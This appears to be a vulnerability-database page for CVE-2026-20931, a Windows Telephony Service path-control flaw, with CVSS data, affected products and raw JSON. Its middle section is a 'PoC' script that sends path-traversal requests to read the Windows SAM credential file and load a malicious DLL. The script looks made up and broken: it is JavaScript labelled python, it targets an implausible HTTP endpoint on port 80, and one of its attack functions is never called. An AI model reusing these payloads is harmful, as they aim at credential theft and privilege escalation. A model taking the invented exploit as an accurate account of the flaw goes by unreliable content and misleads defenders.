Security Vulnerability Report
中文
CVE-2026-20931 CVSS 8.0 HIGH

CVE-2026-20931

Published: 2026-01-13 18:16:20
Last Modified: 2026-01-16 15:06:40

Description

External control of file name or path in Windows Telephony Service allows an authorized attacker to elevate privileges over an adjacent network.

CVSS Details

CVSS Score
8.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:* - VULNERABLE
Windows Server 2016
Windows Server 2019
Windows Server 2022
Windows 10 1809及更早版本
Windows 11相关版本
Windows电话服务组件的所有受支持版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-20931 Windows Telephony Service Path Traversal PoC // Target: Windows Telephony Service // Attack Vector: Adjacent Network (AV:A) // Privilege Required: Low (PR:L) const net = require('net'); // Target configuration const TARGET_HOST = 'target_ip'; const TARGET_PORT = 80; // Malicious payload with path traversal to trigger arbitrary file access // The payload exploits the lack of path sanitization in Windows Telephony Service const exploitPayload = { action: 'file_operation', file_path: '../../../../Windows/System32/config/sam', operation: 'read' }; // Create and send the exploit request function sendExploit() { const client = new net.Socket(); client.connect(TARGET_PORT, TARGET_HOST, () => { console.log('[+] Connected to target'); // Send HTTP POST request with malicious payload const httpPayload = JSON.stringify(exploitPayload); const request = `POST /telephony/service HTTP/1.1\r Host: ${TARGET_HOST}\r Content-Type: application/json\r Content-Length: ${httpPayload.length}\r Connection: close\r \r ${httpPayload}`; client.write(request); console.log('[+] Exploit payload sent'); }); client.on('data', (data) => { console.log('[+] Response received:'); console.log(data.toString()); client.destroy(); }); client.on('error', (err) => { console.error('[-] Connection error:', err.message); }); } // Privilege escalation via DLL hijacking after path traversal function escalatePrivilege() { // After gaining file access, inject malicious DLL via path traversal const dllPayload = { action: 'load_dll', dll_path: '../../../../Windows/Temp/malicious.dll', target_service: 'TelephonyService' }; const client = new net.Socket(); client.connect(TARGET_PORT, TARGET_HOST, () => { const request = `POST /telephony/load HTTP/1.1\r Host: ${TARGET_HOST}\r Content-Type: application/json\r Connection: close\r \r ${JSON.stringify(dllPayload)}`; client.write(request); }); } // Execute exploits console.log('[*] CVE-2026-20931 Exploit'); console.log('[*] Target: Windows Telephony Service'); sendExploit(); // Note: This PoC demonstrates the path traversal vulnerability // Actual exploitation requires valid adjacent network access

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20931", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:20.003", "lastModified": "2026-01-16T15:06:39.857", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "External control of file name or path in Windows Telephony Service allows an authorized attacker to elevate privileges over an adjacent network."}, {"lang": "es", "value": "Control externo del nombre o la ruta del archivo en el Servicio de Telefonía de Windows permite a un atacante autorizado elevar privilegios sobre una red adyacente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-73"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "9A956D23-259E-450B-8406-FEB2BBED1F39"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "41D387B9-5E9D-47CB-B044-D7D10FFFB458"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "DD4CBDAB-7626-4048-8474-B1BD9C1F3255"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A6D4C631-2CC0-407C-9ACA-7C151006598C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "1895E186-5B2E-43CC-AF1F-B5C95419D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "B7CB5184-1BA1-4D71-8AE3-CF4C6B63A469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x64:*", "matchCriteriaId": "2127D10C-B6F3-4C1D-B9AA-5D78513CC996"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x86:*", "matchCriteriaId": "AB425562-C0A0-452E-AABE-F70522F15E1A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "matchCriteriaId": "AF07A81D-12E5-4B1D-BFF9-C8D08C32FF4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "A059E609-F8D4-4246-BDAE-0AEDED1744D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A74970A1-CC81-4482-B465-8382B1544EF3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4648", "matchCriteriaId": "C4AA6991-DE34-48F6-AFD3-77CEE7FBB692"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20931", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}